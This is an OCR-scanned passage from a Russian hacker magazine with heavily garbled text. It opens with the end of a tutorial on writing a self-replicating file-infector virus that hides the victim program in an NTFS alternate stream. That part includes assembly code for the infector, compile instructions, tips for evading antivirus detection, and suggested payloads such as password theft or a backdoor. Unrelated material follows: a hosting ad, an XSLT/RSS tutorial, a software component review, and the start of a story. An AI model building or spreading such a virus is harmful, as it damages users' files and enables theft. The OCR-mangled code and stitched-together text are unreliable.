будем так: создаем внутри жертвы дополнительный поток, ко- 
пируем туда основное тело файла, а на его место записываем 
свой код, делающий что-то «полезное» и передающий упра- 
вление на основное тело. Работать это будет только на ѴѴІп- 
бо\л/5 [\ІТ/2000/ХР и только под ІЧТБ5. ЕАТ отдыхает. Оригиналь- 
ное содержимое заражаемого файла на ЕАТ-разделах будет 
безвозвратно утеряно, а это плохо. То же самое произойдет, 
если упаковать файл ЯР'ом или любым другим архиватором, не 
поддерживающим потоков. Кстати, ѴѴІпРАР их поддерживает. В 
диалоговом окне «Имя и параметры архива» есть вкладка «До- 
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[текстовый редактор РАЗМ’а] 



[хакер 05 [77] 05 > КОДИНГ 119] 



[ХАКЕР 05 [77] 05 > КОДИНГ 120 ] 



[ключевой фрагмент инфектора] 
зесііоп '.сосіе' сосіе геабаЫе ехесиІаЫе 
зіагі: 

; удаляем временный файл 
ризЬ добоѵѵп 
саІІ [ОеІеіеРІІе] 

; определяем наше имя 
ризЬ 1000 
ризЬ Ьи( 
ризЬ 0 

саІІ [ОеШобиІеРІІеІЧате] 

; считываем командную строку 
; ключ іііепате - заразить 
саІІ [ОеіСоттапбипе] 
тоѵ еЬр.еах 

хог еЬх.еЬх 

тоѵ есх, 202А202РИ ; 

гооі: 

стр [еах], есх 
; это 
\2 іпіесі 
іпс еах 

стр [еах], еЬх 
; конец командной строки? 

)П2 гооі 

; выводим диагностическое сообщение, 
; подтверждая свое присутствие в файле 



ризіі 


0 


ризіі 


аіпіесіеб 


ризіі 


аНеІІо 


ризіі 


0 


саІІ 


[МеззадеВох] 



; добавляем к своему имени 
имя ЫТРЗ-потока 
тоѵ езі, собе_пате 
тоѵ ебі, Ьиі 

тоѵ есх, 100; собе_пате_епб - со- 
бе_пате 

хог еах, еах 
герпе зсазЬ 
бес ебі 
гер тоѵзЬ 

; запускам КІТРЗ-поток на выполнение 

ризЬ ххх 

ризЬ ххх 

ризб еах 

ризЬ еах 

ризіт еах 

ризіт еах 

ризіт еах 

ризіт еах 

ризіт еЬр 

ризіт Ьиі 

саІІ [СгеаІеРгосезз] 
ітр до2ехі( 

; выходим из вируса 

іпіесі: 

; устанавливаем еах на первый символ 
; имени файла-жертвы 
; (далее по тексту бзі) 
абб еах, 4 

хсЬд еах, еЬр 

хог еах, еах 
іпс еах 

;тут не помешает вставить проверку 
; бзі на заражение 
; переименовываем бзі в добоѵѵп 
ризЬ добоѵѵп 



ризЬ еЬр 

саІІ [ПепатеРІІе] 

; копируем в добоѵѵп основной поток бзі 

ризЬ еах 

ризЬ еЬр 

ризЬ Ьиі 

саІІ [СоруРІІе] 

; добавляем к своему имени имя потока 
тоѵ езі, еЬр 
тоѵ ебі, Ьиі 
сору_гооІ: 

ІобзЬ 
зіозЬ 
іезі аі.аі 
)П 2 сору_гооІ 
тоѵ езі, собе_пате 
бес ебі 
сору_гооІ2: 

ІобзЬ 
зіозЬ 
іезі аі.аі 
)П 2 сору_гооІ2 

; копируем добоѵѵп в бзііеаіоиі 

ризЬ еах 

ризЬ Ьиі 

ризЬ добоѵѵп 

саІІ [СоруРІІе] 

; не помешает добавить коррекцию 
; длины заражаемого файла 

; удаляем добоѵѵп 
ризЬ добоѵѵп 
саІІ [ОеІеіеРІІе] 

; выводим диагностическое сообщение, 

; подтверждающее заражение файла 

ризЬ 0 

ризЬ аіпіесіеб 

ризЬ еЬр 

ризЬ 0 

саІІ [МеззадеВох] 

; выход из вируса 
до2ехіі: 

ризЬ 0 

саІІ [ЕхііРгосезз] 

зесііоп '.баіа' баіа геабаЫе ѵѵгііеаЫе 
добоѵѵп 6Ь "добоѵѵп", 0 

; имя временного файла 
собе_пагпе 6Ь '':еаітеоиі'',0 
; имя потока, в котором будет... 
собе_папте_епб: 

; ...сохранено основное тело 

; различные выводимые текстовые строки 
аіпіесіеб 6Ь "Файл успешно заражен", 0 
аНеІІобЬ 

'Ты запустил зараженный файл! Ха-ха.", 0 

; различные буфера для спужебньк целей 
Ьиі гЬ 1000 
ххх гЬ 1 000 

[компиляция и испытания вируса] Для компи- 
ляции вирусного кода нам понадобится тран- 
слятор ЕА5М, последнюю ѴѴІпсІоѵѵз-версию ко- 
торого можно найти на сайте ШрУ/ЛаГаззѳт- 
Ыег.пеі. Остальные трансляторы (МА5М, ТА5М) 
тут непригодны, поскольку используют совсем 
другой ассемблерный синтаксис. 

Берем компилятор (с СО/РѴР или с сай- 
та), распаковываем архив и набираем 



«Іазт.ехе хсосіе.азт» в командной строке. 
Если все сделано правильно, на диске дол- 
жен образоваться файл хсосіе.ехе. Запу- 
стим его на выполнение с ключом и име- 
нем предполагаемой жертвы. К примеру, 
если мы заражаем поіерасі.ехе, должно 
выйти: «хсосіе.ехе поіерасі.ехе». Об ус- 
пешном заражении будет свидетельство- 
вать соответствующее сообщение. Если 
сообщения нет, это значит, что у нас ничего 
не получилось. Обычно это происходит из- 
за того, что у нас нет прав доступа к файлу, 
а захватывать их самостоятельно наш вирус 
не собирается. Во всяком случае, пока. 
Запускаем зараженный поіерасі.ехе, и в до- 
казательство своего существования вирус 
тут же выбрасывает диалоговое окно. После 
нажатия на «ОК», правда, он передает упра- 
вление оригинальному коду программы. 
Чтобы у пользователя не случился инфаркт, 
из финальной версии вируса это диалого- 
вое окно лучше всего удалить, заменив его 
своей собственной начинкой. Тут все зави- 
сит от наших намерений и фантазии. Мож- 
но перевернуть экран, свистнуть пароли 
или обложить пользователя трехэтажным 
матом — дело вкуса. 

Зараженный файл, кстати, обладает всеми 
необходимыми репродуктивными способно- 
стями и может заражать другие исполняе- 
мые файлы. К примеру, «Пасьянс» мы можем 



[ПЕРЕЧИСЛЕНИЕ ПОТОКОВ] 

Как определить, какие потоки 
содержатся внутри файла? 
Штатными средствами — никак! 
Функции работы с потоками не- 
документированы и доступы 
только через Иаііѵе АРІ. Это 
ІЧЮгеаІеРІІе, І\ІЮиегуЕаРІІе и 
ІМіЗеІЕаРІІе. 

Создание нового потока осу- 
ществляется вызовом функции 
ІМЮгеаІеРІІе. Среди прочих аргу- 
ментов она принимает указа- 
тель на структуру РІ- 
І_Е_РІІІ_І__ЕА_ІІ\ІРОРІМАТІОМ, пе- 
редаваемый через ЕаВиііег. Как 
вариант, можно воспользовать- 
ся функцией ЫіЗеіЕаРІІе, пере- 
дав ей дескриптор, который вер- 
нула ІМіСгеаіеРіІе, открывающая 
файл обычным образом. Пере- 
числением и чтением всех 
имеющихся потоков занимается 
функция ЫЮиегуЕаРІІе. Прото- 
типы всех функций и определе- 
ния структур содержатся в фай- 
ле МТІЮК.Н, в котором присут- 
ствует достаточное количество 
комментариев, чтобы со всем 
этим хозяйством можно было 
разобраться. 

Подробнее о ІЧаІіѵе АРІ и кон- 
кретно этих функциях ты мо- 
жешь прочесть в «ТІпе Ыпсіоси- 
тепіесі Рипсііопз МісгозоК ѴѴІп- 
сіоѵѵз N172000» Тотазг'а 
Ыоѵѵак'а. Электронную копию 
этой книги ты достанешь бес- 
платно на сервере Л/77'ліег/- 
паіз.пеі. Также очень советую 
почитать статью «ѴѴІп2к.Зігеат» 
из пятого номера вирусного жур- 
нала #29А. 





Фгі-іп успѣшно зараж 




Ты запустил зараженный файл! Ха-ха, 



ОК 



[реакция зараженного файла на выполнение] 

инфицировать вот так: поГерасІ.ехе / зоі.ехе. Естественно, за- 
ражать файлы через командную строку ни один нормальный 
пользователь не будет, и процедуру поиска очередной жертвы 
в вирусное тело мы должны добавить самостоятельно. Если, ко- 
нечно, мы захотим ее искать. Ведь несанкционированное вне- 
дрение в чужие файлы — это уже УК! 

Так что лучше совершенствовать вирус в другом направле- 
нии. При повторном заражении файла текущая версия 
необратимо затирает оригинальный код своим телом, в ре- 
зультате чего файл отказывает в работе. Вот беда! Как ее по- 
бороть? Можно добавить проверку на зараженность перед 
копированием вируса в файл. Берем СгеаТеЕІІе, передаем 
ей имя файла вместе с потоком (поГерасІ.ехѳіеаІтеоиТ) и 
смотрим на результат. Если файл открыть не удалось, значит 
потока еаГтеоиГ тут нет, а следовательно, файл еще не за- 
ражен. В противном случае мы должны отказаться от инфи- 
цирования. Или выбрать другой поток. Например еаГте- 
оиТ_01, еа1теои1_02, еаГтеоиЦЗЗ... 

Другая проблема — вирус не корректирует длину целевого 
файла, и после внедрения она уменьшается аж до 4 Кб — 
именно столько занимает текущая версия хсобе.ехе. Нехо- 
рошо! Пользователь тут же заподозрит подвох (ехріогег.ехе, 
занимающий 4 Кб, выглядит довольно забавно), занервнича- 
ет и начнет запускать всякие нехорошие программы типа ан- 
тивируса. Но что нам стоит запомнить длину жертвы перед 
внедрением, скопировать в нее свое тело, открыть файл на 
запись и сделать ЗеЕЕІІеРоіпГег на оригинальный размер, уве- 
личивая размер до исходных значений. 

[заключение] Свершилось! Наш вирус написан. Что дальше? 
Теперь можно неспешно полировать код, наращивая его 
функциональность. В конечном счете, вирус существует не 
для тупого размножения. У каждого саморазмножающегося 
механизма должна быть своя миссия и своя сверхзадача. 
Установить Ьасксіоог, перехватить пароль или что-то в этом 
роде (лучше просто вывести МеззадеВох — прим. Горлума). 
Предложенная стратегия внедрения, конечно, не является 
идеальной, но все же это намного лучше, чем прописывать- 
ся в реестре, контролируемом кучей докторов. Да, нако- 
нец, у тебя есть достойная альтернатива записи ѴѴІп- 
боѵі/з\СиггепГѴегзіоп\І?ип для автозапуска, радуйся! 

На сегодня это все. Удачного заражения ехріогег.ехе! © 




[заставляем ВДВ упаковывать потоки] 



Виртуальные 

выделенные 

серверы 

ПйЛуЧііпіе пші тж'поепиі 
аы<)е:іе>ш сервера 
всего за час ти его стоимости 




Гііп'іТниіиг ки.і*л:ііііы: Іиічіѵинч >> іи ч-еЧ* 7 «’ 

ЬыргуіІ.'11-НКЙ ИЫДСЛСНПЫЕП ССрПСр ПО ВШМОЖІНКТХМ І1ІЕ41ЛО- 

ПВЧСЛ фіЕЗІіЧССИМу ССрШфу. 

V 1>5 ІКОШЗМІГТ ЛИШИ 

Виртуальный выіклсшіыП сервер нкметея нслоропіи ре- 
шен ис.'иллвпліи^иіелей, создающих интернет прост™, 
тре^унюіію особых настроек программного обеспечетни- 
Кслц сіні пырос щ рамок внріудльноіо хостинга, н ему гре- 
муьіі ся ш.ѵіе.шііг возможности и бодшннс серверные ресур- 
сы. ГО ШПНЧ^ІМЕЕ.ІМ выпоров !Н> СІКПШНІІСШІЮ ЕЕСвипронтяо- 

.'літсііыпкть будет ирсігда ѴІЗЙ. Ійіріуіыымчй выделе ннвіііі 
ссриср позволит сімэнечігп-деиы'и в период отладки кру п- 
ных проектов. разрешаемых впослслсгинн реп выделенных 
серверах. ѴПЧ позволит существенно сократить затраты 
при епдидке рлгі іределеші их втршнщпи ііі. Сітнемшгвъ лревтди 
Ѵ'[>5 в нсшоцЕ! риз ннжесппнмосін аренды ныдеденноЕО 
сервера. 

ѴВ5 пре.ііктяЕѴРяеі бальшнс ышюжмлетм ни сравнению 
спнртушііыч 1КТІІІІГ03І 

■ ѴР5 имеет сноп промессы, пшіьмчтіеукй и прсдоставлясі 
пелный гоос- доступ; 

- ѴР5 имеет собопкнннс ІР-шіреяі, порты: 

- VI 34 может иметь сгюствепнвііе кпнфнгурдзимнные файлы 
и программные ііртюжешіл ; гіолыпЕшелк имеет ни іхмжн-п- 
СІЬ создаетъ собственные версии СИСТеМНЫА біІШШіЧСК 11.11 1 
и імСнять су пісствувшЕП іе ; 

- ЬИиДелсп Ѵ1А5 может (гтаснЯТъ любые фиіілы, включая фай- 
;іы л гаяййііон и других служЛиыт директориях, л зпвгже 
усплііішлшы і ік'наітрашкгі ьіі імйняеь любое доступное про- 
ірздіынос обеспечение; 

■ Ѵ05, имеет ммшшадысие гарацпфншміыс ресурсы НАМ, 
СИ , н цотчржрюстп ікполь’юмті. все оет'іі-иыс ресурсы 
сервера. 

Услуги ѴІУ4, віредосгинляемые комгіиНнеіі, имеют свои 
йОДбеіІНЕКТѢ: Шест ХОСТИНГ іге тиран нчшиіеі івадъшіеате- 
леіі и ііыборе опершномиой системы. 
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Одежка для ХМІ_ 

В ПРОШЛОМ НОМЕРЕ Я РАССКАЗЫВАЛ ТЕБЕ 
О СТАНДАРТЕ ВЗЗ, И МЫ ДАЖЕ НАПИСАЛИ 
ПРОСТЕНЬКИЙ В35-БЛОГ С НОВОСТЯМИ ИЗ 
ЖИЗНИ АЗИАТСКИХ ТУШКАНОВ. В ТОТ РАЗ У 
НАС ВСЕ СВОДИЛОСЬ ФАКТИЧЕСКИ К ГЕНЕ- 
РАЦИИ КОРРЕКТНОГО ДОКУМЕНТА, ПРОС- 
МАТРИВАЛИ ЕГО МЫ ПРИ ПОМОЩИ ЧУЖОГО 
ВЗЗ-КЛИЕНТА. СЕГОДНЯ МЫ С ТОБОЙ ПРО- 
ДОЛЖИМ ИЗУЧЕНИЕ ХМЬ-ТЕХНОЛОГИЙ: НАУ- 
ЧИМСЯ ПРИВОДИТЬ ХМЬ-ДАННЫЕ К КОНКРЕТ- 
НОМУ ПРЕДСТАВЛЕНИЮ ПРИ ПОМОЩИ ХЗЬТ 
И НАПИШЕМ ПРОСТЕНЬКИЙ ВЗЗ-КЛИЕНТ ДЛЯ 
ПРИМЕРА I Никита Кислицин (пікі+02@геаІ.хакер.ги) 



Применение ХЗІ_Т для 
форматирования ХМЬдокументов 

[что такое Х5ІЛ7] Прежде всего, для чего нам может понадобиться 
Х5І_Т и что это такое? Слушая рассказы об ХМІ_, ты, наверное, не раз 
хотел спросить: зачем все это нужно, если хті-документ никак не 
форматируется и пользователь, когда откроет его в браузере, полу- 
чит на экране просто содержимое файла со всеми тэгами. В самом 
деле, вряд ли вид неотформатированной страницы приведет в вос- 
торг рядового пользователя :). По этой причине каждый документ дол- 
жен быть связан со специальным файлом форматирования, в кото- 
ром будет четко определено его представление. В этом случае по- 
лучается такая двойственность информации: сами данные хранятся 
в одном файле, а то, как эти данные будут показаны пользователю, 
указывается в другом. Собственно, язык, который определяет фор- 
матирование ХМЕдокументов, и называется Х5І_ (ЕхіепзіЫе Зіуіе 
І_апдиаде), а само приведение документа к его конкретному предс- 
тавлению обозначается еще одной аббревиатурой — Х5І_Т (Х5І_ 
ТгапзТогтаТіопз). 

Для чего это может использоваться? Приведу пару простых при- 
меров, которые покажут, насколько универсальна эта технология. 
Предположим, у тебя есть клевый сайт, где ты время от времени 
размещаешь какие-то свои статьи, новости из жизни, фотографии 
и т.д. Но вот тебе в определенный момент захотелось сменить ди- 
зайн сайта, и ты понял, что сделать это не так-то легко. Ведь твои 
скрипты — это термоядерная смесь рітр-кода и разметки ЫтпІ, 
разобраться в которой можно лишь при условии, что в морозилке 
есть бутылка водки, а твой напарник уже сварил кастрюлю пель- 
меней. 

Все было бы по-другому, если бы ты читал наш журнал внимательнее. 
Я уже по крайней мере два раза писал о системах, которые позво- 
ляют отделить дизайн сайта от кода и данных. Но с использованием 
ХМІ_ не нужно никаких громоздких систем! Весь сайт довольно легко 
представить в виде ХМ Едоку мента, со своими собственными тэгами, 
задающими структуру проекта. В этом случае получается, что сайт 
логически разбит на кирпичики и довольно здорово структурирован. 
Но, конечно, показывать такой документ пользователю — плохая 
идея, поэтому надо создать файл Х5І_Т-форматирования, где будет 
указано, в каком виде данные отобразятся на экране пользователя. 




Дополнительную информацию ты можешь 

получить по этим ссылкам: 

тт.гаІе'ф.гц/ІцІогіаІз/ХМІІиІогіаІ 

шш\л/.гаІеідб.ги/ІиіогіаЫХМІТиіопаІ/Шете=2 

ттжЬсІиЬ.гц/агсШѵе/хтІ/агІісІе-724.МтІ 

бПр://т2.рбрле1/тапиаІ/еп/ІипсІіоп.хзІІ- 

ргосевз.рбр. 




На нашем диске ты найдешь всю необходи- 
мую для понимания статьи документацию, а 
также РНР последней версии — 5.0.4. 



ХМІ_-документ здесь играет роль своеобраз- 
ного буфера между непосредственным ис- 
точником информации и ее графическим 
представлением. Ну и конечно, изменить ди- 
зайн системы станет чрезвычайно просто, 
для этого не потребуется менять ни строчки 
рітр-кода — вся разметка, наконец-то, будет 
на 100% отделена от управляющих скриптов. 
Также тебе следует знать, что многие сер- 
веры баз данных уже умеют выводить ре- 
зультаты запросов прямо в формате ХМІ_ и 
не за горами тот момент, когда генерация 
ХМІ_-моделей динамических страниц бу- 
дет осуществляться еще на стадии выпол- 
нения запросов к базе данных. 

[как это использовать?] Файл преобразо- 
ваний Х5І_Т — это, по сути своей, обычный 
ХМІ_-файл, имеющий строго определен- 
ный в спецификации формата вид. Этот 
файл подключается к ХМІ_-страницам при 
помощи следующего тэга: 

<?хтІ-зІуІез1іее{ (уре='1ех(/хзГ Ііге(='сіез.х5І'?> 

Чтобы тебе было понятнее, приведу при- 
мер простого хті-файла с данными и фай- 
ла Х5І_Т-преобразований. 

<?хтІ ѵегзіоп="1 .0" епсосІіпд="ѵѵіпсІо\л/з- 
1251" ?> 

<?хтІ-з(уІез1іѳеІ (урѳ='1ехІ/хзГ (гге(='хзІ.хзГ?> 
<ха питЬег="77 (май)"> 

<ѵ 2 Іот сар(іоп="Взяом"> 

<аг(ісІѳ> 

<ШІе>НаскРад</ШІе> 

<соттѳп(>Хак-фак</соттеп4> 

<аи(Ітог>5ісІвх</аи1Иог> 

</аг(ісІѳ> 



</ѵ 2 Іот> 

</ха> 



Обрати внимание: на второй строчке этого 
документа указано, что для форматирования 
должен быть применен Х5І_-файл агНсІе.хІз. 



вания. Делается это примерно так: 

[пример файла преобразований] 

<хзІ:з(уІезІтее( ѵегзіоп="1 .0" 
хтІпз:хзІ="ИНр://ѵлл/ѵѵ.ѵѵ3.огдДВ/\А/0-хзІ"> 
<хзІ:1етрІа(е та(сб=7"> 

<1і1 ><хзІ:ѵаІие-о( зеІес(="ха/@ пит- 
Ьег"/х/Н1> 

<(г2ххзІ:ѵаІие-о( зеІес(="ха/ѵ 2 Іот/@сар- 
Ііоп7х/1і2> 

<1аЫе ЬогсІег="1 " сеІІрасІсІіпд="0"> 

<хзІ:1ог-еасИ зеІес(="ха/ѵ 2 Іот/аг(ісІе"> 

<(гх(сІххзІ:ѵаІие-о1 

зе!есІ=''ІІІІе7></Іс1><ІсІ><хзІ:ѵаІиѳ-о1 

зеІес(="соттеп17х/Мх((1ххзІ:ѵаІие-о{ 

зеІес1="аи1Иог'7х/Мх/1г> 

</хзІ:1ог-еасб> 

</1аЫе> 

</хзІ:1етрІа(е> 

</хзІ:з1уІез(тее(> 

Каждый файл с Х5І_-преобразованиями 
начинается с элемента хзкзіуіезбееі, в па- 
раметрах которого указывается версия 
(ѵегзіоп='1 .0') и статичная ссылка на 
пространство имен. Эта строка одинако- 
ва для всех файлов преобразований. 
После главной строки в моем примере 
идет элемент хзІЧетрІаІе, указывающий 
шаблон элементов, для которых будут при- 
менены правила преобразований. Здесь 
можно указать тип элемента, его конкрет- 
ное название или довольно гибко опреде- 
лить целый класс подходящих под шаблон 
элементов. Я не буду приводить здесь пол- 
ного описания шаблонов, ты найдешь его 
на нашем диске среди большого числа 
полезных документов, которые я тебе нас- 
тоятельно советую изучить. 

Третьей строчкой файла преобразований 
я вывожу в пределах тэга 1т 1 содержимое 
атрибута элемента с именем ха. Тут сле- 
дует пояснить, что мы работаем в рамках 
шаблона, указывающего на корневой 
элемент (он обозначается символом «/»), 
и поэтому элемент ха — наш прямой пото- 
мок. Легко понять, что доступ к атрибутам 
какого-то элемента осуществляется при 
помощи конструкции еІетепТ/@ѵаг. 

На пятой строке Х5І_-файла я вывожу тэг ІаЫе, 
поскольку мне захотелось оформить файл в 
виде таблицы. Затем при помощи элемента 
хзІТог-еасІт я организую своеобразный цикл 
по всем записям со статьями и вывожу инфор- 
мацию о них, форматируя в колонки таблицы 
при помощи тэгов <1т> и <+сІ>. Обрати внима- 
ние, что в рамках цикла содержимое элемен- 
тов получается так же, как и в обычном слу- 
чае, — при помощи элемента хзкѵаІие-оТ 



[форматируем данные] Теперь, чтобы все 
работало, необходимо создать файл агіі- 
сіе.хіз и задать в нем правила форматиро- 



[обработка на стороне сервера] Как легко 
догадаться, все, что я говорил выше, подра- 
зумевает обработку и форматирование до- 



кумента на стороне клиента. То есть сам кли- 
ентский парсер ХМІ_, поставляемый вместе с 
операционной системой, выполняет всю ра- 
боту по форматированию документа. Одна- 
ко не всегда это доступно и удобно. 
Представь, что ты получаешь ХМІ_-данные 
внутри своего скрипта и тебе надо отфор- 
матировать их и вставить полученный МгпІ- 
код в генерируемую страницу. Разумеет- 
ся, в этом случае использовать клиентский 
парсер не получится. Как же быть? Спо- 
койно! Крутые парни из команды рбр-де- 
велоперов все уже сделали до нас! 
Начиная с версии 4.0.3 доступна функция 
хзІ1_ргосе$5, которая производит трансфор- 
мацию ХМЬданных в МтІ-разметку по Х5И- 
правилам. Пользоваться ей чрезвычайно 
просто: 

[использование хзІ1_ргосезз] 

<?рНр 

Загдитепіз = аггау( 

У_хтГ => $хтІ, 

7_хзГ => $хзІ 

); 

$хЬ = хзІ1_сгеаІѳ(); 

$гезиІ1 = хзІ1_ргосезз($хИ, 'агд:/_хтГ, 
'агд:/_хзГ, N1X1-, $агдитеп(з); 

і( ($гезиІ1) { 

есіго "Результат преобразования:<рге> 
$гезиІ1 </рге>\п"; 

} 

хзІМгее($хИ); 

?> 

[свой ВЗЗ-клиент] На самом деле я уже все 
самое важное рассказал :). Теперь тебе 
по силам самому написать РЗЗ-клиент, од- 
нако, чтобы снять все вопросы, я сейчас 
покажу на пальцах, как это можно сде- 
лать (его код вместе с файлом преобра- 
зований ты найдешь на диске). 

Задача эта элементарная и сводится к 
следующему. Тебе необходимо при помо- 
щи функции ТорепО получить содержимое 
РЗЗ-ленты в специальный буфер, а затем 
при помощи функции хзІ1_ргосезз приме- 
нить к этим данным Х5І_Т-преобразование, 
чтобы получить на выходе готовую МтпІ- 
страницу. Не надо быть супербизоном, что- 
бы понять: основная сложность здесь зак- 
лючается как раз в том, чтобы разработать 
Х5І_-файл. Вообще-то, Р55 — довольно изощ- 
ренный формат, и реализовать его полную 
поддержку не так легко. Однако сделать 
поддержку самых популярных тэгов ты смо- 
жешь очень быстро, даже действуя просто 
по аналогии с разобранным выше приме- 
ром. К сожалению, нехватка места в жур- 
нале не позволяет мне привести здесь код 
такого ХЗИ-файла, но ты можешь найти его 
на диске. Будут вопросы — пиши, амиго. 
Давай, не попадайся © 




[функция хзІ1_ргосезз избавляет от геморроя!] 



[неотформатированный ХМЬ-файл] 



[отформатированный документ. Так наглядней? :)] 



[хакер 05 [77] 05 > КОДИНГ І2і] 



ЮНИТЫ КРЕАТИФФ [КОДИНГ] УМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВВІІМ НЬЮСЫ 




Фленов Михаил ака НоггіТіс ([тИр://\л/\л/\л/.ѵг-опІіпе.ги) 

ОБЗОР КОМПОНЕНТОВ 



Все компоненты, 
упомянутые в этом обзоре 
ты можешь найти на диске 



ТІІЧ8РЕСТОНВАРЗ (сІеІрЬі) 

[описание] В последнее время наблюдается дефицит инте- 
ресных и, что существенно, бесплатных компонентов. Никто 
не хочет делиться знаниями даром! Пришлось забраться в 
свой сокровенный архив и поискать что-нибудь такое, что 
актуально сегодня. 

Первый компонент, с которым я хочу тебя познакомить, — 
ІпзресЕогВаг. 

[особые отличия] 

+ Очень удобный и гибкий компонент для создания панели в 
стиле ОиНоок. Такую панель можно увидеть вдоль левого 

края окна установки и удаления программ. 

+ Есть возможность настраивать любой внешний вид, уста- 

навливать обои. 

+ Текст, который выводится на панели, можно форматиро- 

вать НТМІ_-тэгами. 

+ Внутри панели легко располагаются кнопки, деревья 
(ТгееѴіе\л/), инспектор свойств и подсказка (что-то наподо- 

бие М5 ОЕЕІсе). 

- Прорисовка при переключении панелей сделана момен- 
тальной, без эффектов анимации. Из-за этого компонент 
смотрится немного дешево. 



[диагноз] Отличный способ придать программе элегантный 
внешний вид, а главное, пользователи любят такие фенечки. 
Если ты пишешь офисные программы, то этот компонент 
обязан присутствовать у тебя на панели. 

[ссылки] Ы1р://ѵѵѵѵѵѵ.Тоггу.пеТ/ѵсІ/Ьаг5/оіІіег/іп5рес1огЬаг.2Ір 



ОЕІАРНІСЕХ (ФеІрЕіі) 

[описание] Несколько лет назад, когда я только начинал 
программировать, мне удалось скачать из интернета от- 
личный компонент, позволяющий просматривать графичес- 
кие файлы. Назывался он ОгаріпісЕх. Через пару месяцев 
вышла обновленная версия этого компонента. Я ринулся ка- 
чать, чтобы оценить нововведения, но в архиве нашел только 
раз-файлы. Оказалось, что библиотека стала платной. Ко- 
нечно, такой классный компонент не может быть халявным, 
тем более что в новой версии была поддержка большего 
количества форматов графических файлов и появилась воз- 
можность сохранения. 

[особые отличия] 

+ Море поддерживаемых графических форматов. Вот толь- 
ко маленькая часть: СотриЗегѵе ѲІЕ ЕІІез, РогЕаЫе ОгарЕгісз 
Ыеілл/огк ітаде, 23оЕЕ РСХ ітадез (рсх), Тгиеѵізіоп ітадез 
ТР6А (Еда), АиЕосІезк ітадез (сеі, ріс), ЗѲІ ітадез (Ь\лл гдЬ), 
Косіак РЕгоЕо-СО ітадез (рссі), РЕгоЕозЕтор ітадез (рзсі, рсісі), 

ТІЕЕ ітадез (НЕ, ЕІЕЕ). 

+ Отличная реализация загрузки. Скорость поражает. 

- Формат файлов РЕтоЕозЕтор поддерживается без слоев. 

- Формат 6ІЕ поддерживается только без анимации. 

- Бесплатных обновлений не будет. 



[диагноз] Несмотря на то что недостатков больше, чем пре- 
имуществ, я не мог не включить этот компонент в свой обзор, 
потому что он действительно мощный и необходим любому 
графоману. Количество поддерживаемых программой фай- 
ловых форматов также всегда является плюсом. Если твоя 
прога грузит графику, то бгарЕтісЕх может тебе очень приго- 
диться, 

[ссылки] МТрУ/ѵѵѵѵѵѵ.ѵг-опІіпе.ги/сІошпІосісІ/ІІІез/дгсірІі.гір 






МЕТ ХР 3.0// (.пеі) 

[описание] В прошлом обзоре я уделил большое внимание ком- 
понентам, которые могут придать программе современный вид. Я 
это делал неслучайно, ведь в стандартную поставку .МЕТ входят 
лишь примитивные компоненты с внешним видом а-ля 1995-й год. 
Неизвестно, зачем это делают ребята из М3, но за это их надо 
расстрелять. Сегодня я предлагаю МеІХР — это бесплатный для 
некоммерческого использования пакет, который придает прог- 
рамме актуальный внешний вид — как в ХР или ОТТІсе 2003. 

[особые отличия] 

+ Легко создавать меню и панели в стиле ХР или ОТТІсе 2003. 

+ Есть компонент для создания панели задач, как в проводнике 
ХР, Есть возможность настраивать цветовую гамму этой панели. 

+ Компонент для создания плавающих окон, как в ѴізиаІ 5+исІіо 

.МЕТ. 

+ Куча компонентов для .МЕТ, среди которых выпадающие списки 
с громадным количеством настроек, всевозможные кнопки и т.п. 
+ Компонент для создания всплывающей подсказки, как в рабо- 

чем окне, так и в ЗузТет Тгау. 

+ Проблем в работе пока не замечено. Есть все, что необходимо. 

[диагноз] Пакет просто необходим для придания программам 
продвинутого интерфейса. Проработав с ним неделю, я смог 
сделать все, о чем мечтал все эти годы, абсолютно не напряга- 
ясь. 

[ссылки] ІііірУ/арр.сІасгіз.сотДиІІ/пеІ'хр.ехѳ 



ОІВЕСТІІІ (ѵізиаІ с++) 

[описание] Что-то я в последнее время очень много внимания 
уделяю интерфейсу программ на С# и абсолютно забыл про 
классический ѴѴІп32. Я нашел неплохую реализацию панели за- 
дач, как в ѴѴІпсІо\л/5 ХР. Вроде бы ничего особенного, но когда я 
влез внутрь, я увидел действительно полезные и оригинальные ре- 
шения. Но обо всем по порядку, 

[особые отличия] 

+ Симпатичный класс для создания панели задач, как в ѴѴІпсІо\л/з ХР. 
+ В качестве бонуса в архиве ты найдешь класс, который позволит 
создавать плавающие поля ввода. Смотрится это очень эффект- 
но. Само поле абсолютно плоское, а когда наводишь на него 

мышь, оно обрисовывается черной рамкой. 

+ Громадное количество настроек, которые позволят добиться 
любого желаемого результата. 

- Компонент написан неплохо, а вот пример, который поставляет- 

ся с классом, какой-то корявый. Такое ощущение, что его писал 
совершенно другой человек. 

- Если выделить какой-то пункт, а потом переключить окно клави- 

шами АІГ+ТаЬ, то выделение не снимается. Примитивный, но нем- 
ного неприятный глюк. 



[диагноз] Интересный и хорошо выполненный компонент, кото- 
рый наверняка пригодится при разработке продвинутого графи- 
ческого интерфейса программы. 

[ссылки] Ыір://ѵѵѵѵѵѵуг-опІіпв.ги/доѵѵпІоасІ/Ше$/сІігес1иі_5оигсе.2Ір 
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КОГДА-НИБУДЬ, ВПОСЛЕДСТВИИ, ПОТОМ, 

НО ДАЖЕ В БУКВАРИ ПОМЕСТЯТ СТРОЧКУ, 
ЧТО СДЕЛАННОЕ СКОПОМ И ГУРТОМ 
РАСХЛЕБЫВАЕТ КАЖДЫЙ В ОДИНОчКУ. 
ИГОРЬ ГУБЕРМАН I Мое (тое@Іапсі.ги) 

За все приходится платить 

[директор филиала] В свои 50 Николай 
Петрович был в хорошей форме. Природ- 
ные данные, изначально неплохие, были 
улучшены хорошим стилистом. Периоди- 



ческий массаж и посещения бассейна помогали поддерживать 
тонус. Легкая седина в волосах, короткая аккуратная стрижка, 
всегда свежая рубашка, отличный костюм и дорогая обувь про- 
изводили на женщин и богатых клиентов благотворное впечатле- 
ние. Слегка терпкий аромат одеколона «для настоящих мужчин» 
завершал облик преуспевающего джентльмена. 

Многолетний опыт руководства сделал взгляд волевым, но немного 
усталым. Подчиненные, когда он снисходил до того, чтобы посмот- 
реть на них, начинали говорить быстрее, стараясь одновременно 
занять как можно меньше места в его роскошном кабинете. 
Вспышки праведного гнева, возникавшие от плохого настроения 
или просто для профилактики, случались с ним нечасто, но при- 
носили неплохой результат в виде повышения производительнос- 
ти у «офисных крыс», как он их называл. 

Жена ушла полгода назад, забрав себе квартиру и вытребовав 




солидную сумму денег. «Я не могу 
